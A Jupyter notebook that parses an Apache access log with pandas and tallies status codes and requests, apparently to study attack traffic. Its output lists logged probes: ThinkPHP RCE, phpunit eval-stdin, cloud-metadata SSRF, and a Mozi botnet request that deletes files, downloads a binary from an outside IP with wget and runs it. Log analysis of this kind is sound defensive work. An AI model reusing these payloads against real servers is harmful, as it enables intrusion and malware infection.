Apache Web Logs Analysis v2.ipynb

{
 "cells": [
  {
   "cell_type": "code",
   "execution_count": 1,
   "metadata": {},
   "outputs": [],
   "source": [
    "import pandas as pd\n",
    "from pandas import Series,DataFrame\n",
    "import numpy as np\n",
    "import matplotlib.pyplot as plt\n",
    "import seaborn as sns\n",
    "%matplotlib inline\n",
    "pd.options.display.max_colwidth = 150\n",
    "##\n",
    "from datetime import datetime\n",
    "import pytz\n",
    "##\n",
    "import re"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 2,
   "metadata": {},
   "outputs": [],
   "source": [
    "def parse_str(x):\n",
    "    \"\"\"\n",
    "    Returns the string delimited by two characters.\n",
    "\n",
    "    Example:\n",
    "        `>>> parse_str('[my string]')`\n",
    "        `'my string'`\n",
    "    \"\"\"\n",
    "    return x[1:-1]\n",
    "\n",
    "def parse_datetime(x):\n",
    "    '''\n",
    "    Parses datetime with timezone formatted as:\n",
    "        `[day/month/year:hour:minute:second zone]`\n",
    "\n",
    "    Example:\n",
    "        `>>> parse_datetime('13/Nov/2015:11:45:42 +0000')`\n",
    "        `datetime.datetime(2015, 11, 3, 11, 45, 4, tzinfo=<UTC>)`\n",
    "\n",
    "    Due to problems parsing the timezone (`%z`) with `datetime.strptime`, the\n",
    "    timezone will be obtained using the `pytz` library.\n",
    "    '''\n",
    "    dt = datetime.strptime(x[1:-7], '%d/%b/%Y:%H:%M:%S')\n",
    "    dt_tz = int(x[-6:-3])*60+int(x[-3:-1])\n",
    "    return dt.replace(tzinfo=pytz.FixedOffset(dt_tz))"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 3,
   "metadata": {},
   "outputs": [],
   "source": [
    "data = pd.read_csv(\n",
    "    'weblogs/access.log',\n",
    "    sep=r'\\s(?=(?:[^\"]*\"[^\"]*\")*[^\"]*$)(?![^\\[]*\\])',\n",
    "    engine='python',\n",
    "    na_values='-',\n",
    "    header=None,\n",
    "    usecols=[0, 3, 4, 5, 6, 7, 8],\n",
    "    names=['ip', 'time', 'request', 'status', 'size', 'referer', 'user_agent'],\n",
    "    converters={'time': parse_datetime,\n",
    "                'request': parse_str,\n",
    "                'status': int,\n",
    "                'size': int,\n",
    "                'referer': parse_str,\n",
    "                'user_agent': parse_str})"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 4,
   "metadata": {},
   "outputs": [
    {
     "data": {
      "text/html": [
       "<div>\n",
       "<style scoped>\n",
       "    .dataframe tbody tr th:only-of-type {\n",
       "        vertical-align: middle;\n",
       "    }\n",
       "\n",
       "    .dataframe tbody tr th {\n",
       "        vertical-align: top;\n",
       "    }\n",
       "\n",
       "    .dataframe thead th {\n",
       "        text-align: right;\n",
       "    }\n",
       "</style>\n",
       "<table border=\"1\" class=\"dataframe\">\n",
       "  <thead>\n",
       "    <tr style=\"text-align: right;\">\n",
       "      <th></th>\n",
       "      <th>ip</th>\n",
       "      <th>time</th>\n",
       "      <th>request</th>\n",
       "      <th>status</th>\n",
       "      <th>size</th>\n",
       "      <th>referer</th>\n",
       "      <th>user_agent</th>\n",
       "    </tr>\n",
       "  </thead>\n",
       "  <tbody>\n",
       "    <tr>\n",
       "      <th>0</th>\n",
       "      <td>68.132.136.198</td>\n",
       "      <td>2020-04-20 06:28:16+00:00</td>\n",
       "      <td>POST /cgi-bin/mainfunction.cgi HTTP/1.1</td>\n",
       "      <td>301</td>\n",
       "      <td>592</td>\n",
       "      <td>NaN</td>\n",
       "      <td>XTC</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>1</th>\n",
       "      <td>37.187.75.16</td>\n",
       "      <td>2020-04-20 06:29:00+00:00</td>\n",
       "      <td>GET /wp-login.php HTTP/1.1</td>\n",
       "      <td>301</td>\n",
       "      <td>574</td>\n",
       "      <td>NaN</td>\n",
       "      <td>Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebK...</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>2</th>\n",
       "      <td>37.187.75.16</td>\n",
       "      <td>2020-04-20 06:29:02+00:00</td>\n",
       "      <td>GET /wp-login.php HTTP/1.1</td>\n",
       "      <td>404</td>\n",
       "      <td>4962</td>\n",
       "      <td>NaN</td>\n",
       "      <td>Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebK...</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>3</th>\n",
       "      <td>37.187.75.16</td>\n",
       "      <td>2020-04-20 06:29:06+00:00</td>\n",
       "      <td>GET /robots.txt HTTP/1.1</td>\n",
       "      <td>301</td>\n",
       "      <td>570</td>\n",
       "      <td>NaN</td>\n",
       "      <td>Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebK...</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>4</th>\n",
       "      <td>37.187.75.16</td>\n",
       "      <td>2020-04-20 06:29:08+00:00</td>\n",
       "      <td>GET /robots.txt HTTP/1.1</td>\n",
       "      <td>404</td>\n",
       "      <td>4538</td>\n",
       "      <td>NaN</td>\n",
       "      <td>Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebK...</td>\n",
       "    </tr>\n",
       "  </tbody>\n",
       "</table>\n",
       "</div>"
      ],
      "text/plain": [
       "               ip                      time  \\\n",
       "0  68.132.136.198 2020-04-20 06:28:16+00:00   \n",
       "1    37.187.75.16 2020-04-20 06:29:00+00:00   \n",
       "2    37.187.75.16 2020-04-20 06:29:02+00:00   \n",
       "3    37.187.75.16 2020-04-20 06:29:06+00:00   \n",
       "4    37.187.75.16 2020-04-20 06:29:08+00:00   \n",
       "\n",
       "                                   request  status  size referer  \\\n",
       "0  POST /cgi-bin/mainfunction.cgi HTTP/1.1     301   592     NaN   \n",
       "1               GET /wp-login.php HTTP/1.1     301   574     NaN   \n",
       "2               GET /wp-login.php HTTP/1.1     404  4962     NaN   \n",
       "3                 GET /robots.txt HTTP/1.1     301   570     NaN   \n",
       "4                 GET /robots.txt HTTP/1.1     404  4538     NaN   \n",
       "\n",
       "                                          user_agent  \n",
       "0                                                XTC  \n",
       "1  Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebK...  \n",
       "2  Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebK...  \n",
       "3  Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebK...  \n",
       "4  Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebK...  "
      ]
     },
     "execution_count": 4,
     "metadata": {},
     "output_type": "execute_result"
    }
   ],
   "source": [
    "data.head()"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 5,
   "metadata": {},
   "outputs": [
    {
     "name": "stdout",
     "output_type": "stream",
     "text": [
      "<class 'pandas.core.frame.DataFrame'>\n",
      "RangeIndex: 4776 entries, 0 to 4775\n",
      "Data columns (total 7 columns):\n",
      "ip            4776 non-null object\n",
      "time          4776 non-null datetime64[ns, UTC]\n",
      "request       4763 non-null object\n",
      "status        4776 non-null int64\n",
      "size          4776 non-null int64\n",
      "referer       294 non-null object\n",
      "user_agent    3918 non-null object\n",
      "dtypes: datetime64[ns, UTC](1), int64(2), object(4)\n",
      "memory usage: 261.3+ KB\n"
     ]
    }
   ],
   "source": [
    "# get information about the dataframe\n",
    "data.info()"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 16,
   "metadata": {},
   "outputs": [
    {
     "data": {
      "text/plain": [
       "0    301\n",
       "1    301\n",
       "2    404\n",
       "3    301\n",
       "4    404\n",
       "Name: status, dtype: int64"
      ]
     },
     "execution_count": 16,
     "metadata": {},
     "output_type": "execute_result"
    }
   ],
   "source": [
    "# check out just statuses\n",
    "\n",
    "data['status'].head()"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 9,
   "metadata": {},
   "outputs": [
    {
     "data": {
      "text/plain": [
       "<matplotlib.axes._subplots.AxesSubplot at 0x119fe9490>"
      ]
     },
     "execution_count": 9,
     "metadata": {},
     "output_type": "execute_result"
    },
    {
     "data": {
      "image/png": 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\n",
      "text/plain": [
       "<Figure size 432x288 with 1 Axes>"
      ]
     },
     "metadata": {
      "needs_background": "light"
     },
     "output_type": "display_data"
    }
   ],
   "source": [
    "# what calls are most prominent (use histogram)\n",
    "data['status'].hist(bins=70)"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 10,
   "metadata": {},
   "outputs": [
    {
     "data": {
      "text/plain": [
       "301    1645\n",
       "200      59\n",
       "404      14\n",
       "400       7\n",
       "Name: status, dtype: int64"
      ]
     },
     "execution_count": 10,
     "metadata": {},
     "output_type": "execute_result"
    }
   ],
   "source": [
    "# Count how many values per status:\n",
    "data['status'].value_counts()"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 11,
   "metadata": {},
   "outputs": [
    {
     "data": {
      "text/plain": [
       "0               GET / HTTP/1.1\n",
       "1               GET / HTTP/1.1\n",
       "2               GET / HTTP/1.1\n",
       "3     GET /robots.txt HTTP/1.1\n",
       "4    GET /sitemap.xml HTTP/1.1\n",
       "Name: request, dtype: object"
      ]
     },
     "execution_count": 11,
     "metadata": {},
     "output_type": "execute_result"
    }
   ],
   "source": [
    "data['request'].head()"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 6,
   "metadata": {},
   "outputs": [
    {
     "data": {
      "text/plain": [
       "GET / HTTP/1.1                                                                                                                    992\n",
       "GET / HTTP/1.0                                                                                                                    378\n",
       "GET /robots.txt HTTP/1.1                                                                                                          256\n",
       "\\x16\\x03\\x01                                                                                                                      138\n",
       "CONNECT 54.186.126.200:80 HTTP/1.0                                                                                                130\n",
       "GET /wp-login.php HTTP/1.1                                                                                                        123\n",
       "GET /latest/dynamic/instance-identity/document HTTP/1.1                                                                           104\n",
       "GET /?feed=rss2 HTTP/1.1                                                                                                           90\n",
       "POST /cgi-bin/mainfunction.cgi HTTP/1.1                                                                                            35\n",
       "GET /cgi-bin/luci HTTP/1.1                                                                                                         30\n",
       "GET /dana-na/auth/url_default/welcome.cgi HTTP/1.1                                                                                 30\n",
       "GET /htmlV/welcomeMain.htm HTTP/1.1                                                                                                28\n",
       "GET /remote/login?lang=en HTTP/1.1                                                                                                 28\n",
       "GET http://example.com/ HTTP/1.1                                                                                                   28\n",
       "GET /index.asp HTTP/1.1                                                                                                            28\n",
       "GET http://169.254.169.254/ HTTP/1.1                                                                                               26\n",
       "GET /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1                                                                   26\n",
       "GET http://[::ffff:a9fe:a9fe]/latest/dynamic/instance-identity/document HTTP/1.1                                                   26\n",
       "GET http://[::ffff:a9fe:a9fe]/ HTTP/1.1                                                                                            26\n",
       "GET http://169.254.169.254/latest/dynamic/instance-identity/document HTTP/1.1                                                      26\n",
       "GET /TP/public/index.php HTTP/1.1                                                                                                  21\n",
       "GET /login.cgi?uri= HTTP/1.1                                                                                                       20\n",
       "GET /home.asp HTTP/1.1                                                                                                             20\n",
       "GET /ecommerce/ HTTP/1.1                                                                                                           19\n",
       "GET /numbergame HTTP/1.1                                                                                                           19\n",
       "GET /vpn/index.html HTTP/1.1                                                                                                       19\n",
       "GET /counter/ HTTP/1.1                                                                                                             18\n",
       "GET /index.php?s=/Index/\\\\think\\\\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=HelloThinkPHP HTTP/1.1     17\n",
       "GET /?XDEBUG_SESSION_START=phpstorm HTTP/1.1                                                                                       17\n",
       "\\n                                                                                                                                 15\n",
       "                                                                                                                                 ... \n",
       "POST /shanzhi.php HTTP/1.1                                                                                                          1\n",
       "POST /que.php HTTP/1.1                                                                                                              1\n",
       "GET /phpdm.php HTTP/1.1                                                                                                             1\n",
       "POST /igo.php HTTP/1.1                                                                                                              1\n",
       "POST /lapan.php HTTP/1.1                                                                                                            1\n",
       "GET /d7.php HTTP/1.1                                                                                                                1\n",
       "POST /general.php HTTP/1.1                                                                                                          1\n",
       "GET /shaAdmin/index.php HTTP/1.1                                                                                                    1\n",
       "POST /nuoxi.php HTTP/1.1                                                                                                            1\n",
       "POST /cn.php HTTP/1.1                                                                                                               1\n",
       "POST /CC.php HTTP/1.1                                                                                                               1\n",
       "POST /sqlk.php HTTP/1.1                                                                                                             1\n",
       "POST /plus/qiang.php HTTP/1.1                                                                                                       1\n",
       "POST /888.php HTTP/1.1                                                                                                              1\n",
       "POST /qq5262.php HTTP/1.1                                                                                                           1\n",
       "POST /Skri.php HTTP/1.1                                                                                                             1\n",
       "POST /sanan.php HTTP/1.1                                                                                                            1\n",
       "POST /include/tags.php HTTP/1.1                                                                                                     1\n",
       "GET /phpmyadm1n/index.php HTTP/1.1                                                                                                  1\n",
       "GET /get/libmailutils5_3.4-1_arm64.deb HTTP/1.1                                                                                     1\n",
       "GET /horde/imp/test.php HTTP/1.1                                                                                                    1\n",
       "POST /cms/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1                                                               1\n",
       "GET /2020/license.txt HTTP/1.1                                                                                                      1\n",
       "POST /plus/lucas.php HTTP/1.1                                                                                                       1\n",
       "POST /p.php HTTP/1.1                                                                                                                1\n",
       "GET /shell?cd+/tmp;rm+-rf+*;wget+http://123.4.53.22:39646/Mozi.a;chmod+777+Mozi.a;/tmp/Mozi.a+jaws HTTP/1.1                         1\n",
       "GET /phpMyAdmin.old/index.php HTTP/1.1                                                                                              1\n",
       "POST /phpunit/Util/PHP/eval-stdin.php HTTP/1.1                                                                                      1\n",
       "GET //site/wp-includes/wlwmanifest.xml HTTP/1.1                                                                                     1\n",
       "GET /get/libntlm0_1.4-8_arm64.deb HTTP/1.1                                                                                          1\n",
       "Name: request, Length: 1251, dtype: int64"
      ]
     },
     "execution_count": 6,
     "metadata": {},
     "output_type": "execute_result"
    }
   ],
   "source": [
    "data['request'].value_counts()"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 8,
   "metadata": {},
   "outputs": [
    {
     "data": {
      "text/html": [
       "<div>\n",
       "<style scoped>\n",
       "    .dataframe tbody tr th:only-of-type {\n",
       "        vertical-align: middle;\n",
       "    }\n",
       "\n",
       "    .dataframe tbody tr th {\n",
       "        vertical-align: top;\n",
       "    }\n",
       "\n",
       "    .dataframe thead th {\n",
       "        text-align: right;\n",
       "    }\n",
       "</style>\n",
       "<table border=\"1\" class=\"dataframe\">\n",
       "  <thead>\n",
       "    <tr style=\"text-align: right;\">\n",
       "      <th></th>\n",
       "      <th>request</th>\n",
       "      <th>status</th>\n",
       "    </tr>\n",
       "  </thead>\n",
       "  <tbody>\n",
       "    <tr>\n",
       "      <th>0</th>\n",
       "      <td>POST /cgi-bin/mainfunction.cgi HTTP/1.1</td>\n",
       "      <td>301</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>1</th>\n",
       "      <td>GET /wp-login.php HTTP/1.1</td>\n",
       "      <td>301</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>2</th>\n",
       "      <td>GET /wp-login.php HTTP/1.1</td>\n",
       "      <td>404</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>3</th>\n",
       "      <td>GET /robots.txt HTTP/1.1</td>\n",
       "      <td>301</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>4</th>\n",
       "      <td>GET /robots.txt HTTP/1.1</td>\n",
       "      <td>404</td>\n",
       "    </tr>\n",
       "  </tbody>\n",
       "</table>\n",
       "</div>"
      ],
      "text/plain": [
       "                                   request  status\n",
       "0  POST /cgi-bin/mainfunction.cgi HTTP/1.1     301\n",
       "1               GET /wp-login.php HTTP/1.1     301\n",
       "2               GET /wp-login.php HTTP/1.1     404\n",
       "3                 GET /robots.txt HTTP/1.1     301\n",
       "4                 GET /robots.txt HTTP/1.1     404"
      ]
     },
     "execution_count": 8,
     "metadata": {},
     "output_type": "execute_result"
    }
   ],
   "source": [
    "# what are the request returns?\n",
    "data[['request','status']].head()"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 12,
   "metadata": {},
   "outputs": [
    {
     "data": {
      "text/plain": [
       "request    63\n",
       "status      1\n",
       "dtype: int64"
      ]
     },
     "execution_count": 12,
     "metadata": {},
     "output_type": "execute_result"
    }
   ],
   "source": [
    "data[data['status'] == 200][['request','status']].nunique()"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 24,
   "metadata": {},
   "outputs": [],
   "source": [
    "# narrow all the calls down to unique requests\n",
    "uniquerequests = data['request'].unique().copy()"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 32,
   "metadata": {},
   "outputs": [
    {
     "data": {
      "text/plain": [
       "array(['POST /cgi-bin/mainfunction.cgi HTTP/1.1',\n",
       "       'GET /wp-login.php HTTP/1.1', 'GET /robots.txt HTTP/1.1', ...,\n",
       "       'GET /websql/index.php HTTP/1.1',\n",
       "       'GET /MySQLAdmin/index.php HTTP/1.1', 'Gh0st\\\\xad'], dtype=object)"
      ]
     },
     "execution_count": 32,
     "metadata": {},
     "output_type": "execute_result"
    }
   ],
   "source": [
    "uniquerequests"
   ]
  },
  {
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "Did any calls to MySQLAdmin get through?"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 38,
   "metadata": {},
   "outputs": [
    {
     "data": {
      "text/html": [
       "<div>\n",
       "<style scoped>\n",
       "    .dataframe tbody tr th:only-of-type {\n",
       "        vertical-align: middle;\n",
       "    }\n",
       "\n",
       "    .dataframe tbody tr th {\n",
       "        vertical-align: top;\n",
       "    }\n",
       "\n",
       "    .dataframe thead th {\n",
       "        text-align: right;\n",
       "    }\n",
       "</style>\n",
       "<table border=\"1\" class=\"dataframe\">\n",
       "  <thead>\n",
       "    <tr style=\"text-align: right;\">\n",
       "      <th></th>\n",
       "      <th>ip</th>\n",
       "      <th>time</th>\n",
       "      <th>request</th>\n",
       "      <th>status</th>\n",
       "      <th>size</th>\n",
       "      <th>referer</th>\n",
       "      <th>user_agent</th>\n",
       "    </tr>\n",
       "  </thead>\n",
       "  <tbody>\n",
       "    <tr>\n",
       "      <th>4699</th>\n",
       "      <td>193.112.212.143</td>\n",
       "      <td>2020-04-21 21:07:21+00:00</td>\n",
       "      <td>GET /MySQLAdmin/index.php HTTP/1.1</td>\n",
       "      <td>301</td>\n",
       "      <td>625</td>\n",
       "      <td>NaN</td>\n",
       "      <td>Mozilla/4.0 (compatible; MSIE 9.0; Windows NT ...</td>\n",
       "    </tr>\n",
       "  </tbody>\n",
       "</table>\n",
       "</div>"
      ],
      "text/plain": [
       "                   ip                      time  \\\n",
       "4699  193.112.212.143 2020-04-21 21:07:21+00:00   \n",
       "\n",
       "                                 request  status  size referer  \\\n",
       "4699  GET /MySQLAdmin/index.php HTTP/1.1     301   625     NaN   \n",
       "\n",
       "                                             user_agent  \n",
       "4699  Mozilla/4.0 (compatible; MSIE 9.0; Windows NT ...  "
      ]
     },
     "execution_count": 38,
     "metadata": {},
     "output_type": "execute_result"
    }
   ],
   "source": [
    "data[data['request'] == 'GET /MySQLAdmin/index.php HTTP/1.1']"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 41,
   "metadata": {},
   "outputs": [
    {
     "data": {
      "text/html": [
       "<div>\n",
       "<style scoped>\n",
       "    .dataframe tbody tr th:only-of-type {\n",
       "        vertical-align: middle;\n",
       "    }\n",
       "\n",
       "    .dataframe tbody tr th {\n",
       "        vertical-align: top;\n",
       "    }\n",
       "\n",
       "    .dataframe thead th {\n",
       "        text-align: right;\n",
       "    }\n",
       "</style>\n",
       "<table border=\"1\" class=\"dataframe\">\n",
       "  <thead>\n",
       "    <tr style=\"text-align: right;\">\n",
       "      <th></th>\n",
       "      <th>ip</th>\n",
       "      <th>time</th>\n",
       "      <th>request</th>\n",
       "      <th>status</th>\n",
       "      <th>size</th>\n",
       "      <th>referer</th>\n",
       "      <th>user_agent</th>\n",
       "    </tr>\n",
       "  </thead>\n",
       "  <tbody>\n",
       "    <tr>\n",
       "      <th>0</th>\n",
       "      <td>68.132.136.198</td>\n",
       "      <td>2020-04-20 06:28:16+00:00</td>\n",
       "      <td>POST /cgi-bin/mainfunction.cgi HTTP/1.1</td>\n",
       "      <td>301</td>\n",
       "      <td>592</td>\n",
       "      <td>NaN</td>\n",
       "      <td>XTC</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>1</th>\n",
       "      <td>37.187.75.16</td>\n",
       "      <td>2020-04-20 06:29:00+00:00</td>\n",
       "      <td>GET /wp-login.php HTTP/1.1</td>\n",
       "      <td>301</td>\n",
       "      <td>574</td>\n",
       "      <td>NaN</td>\n",
       "      <td>Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebK...</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>2</th>\n",
       "      <td>37.187.75.16</td>\n",
       "      <td>2020-04-20 06:29:02+00:00</td>\n",
       "      <td>GET /wp-login.php HTTP/1.1</td>\n",
       "      <td>404</td>\n",
       "      <td>4962</td>\n",
       "      <td>NaN</td>\n",
       "      <td>Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebK...</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>3</th>\n",
       "      <td>37.187.75.16</td>\n",
       "      <td>2020-04-20 06:29:06+00:00</td>\n",
       "      <td>GET /robots.txt HTTP/1.1</td>\n",
       "      <td>301</td>\n",
       "      <td>570</td>\n",
       "      <td>NaN</td>\n",
       "      <td>Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebK...</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>4</th>\n",
       "      <td>37.187.75.16</td>\n",
       "      <td>2020-04-20 06:29:08+00:00</td>\n",
       "      <td>GET /robots.txt HTTP/1.1</td>\n",
       "      <td>404</td>\n",
       "      <td>4538</td>\n",
       "      <td>NaN</td>\n",
       "      <td>Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebK...</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>5</th>\n",
       "      <td>162.243.128.92</td>\n",
       "      <td>2020-04-20 06:36:19+00:00</td>\n",
       "      <td>GET / HTTP/1.1</td>\n",
       "      <td>200</td>\n",
       "      <td>4457</td>\n",
       "      <td>NaN</td>\n",
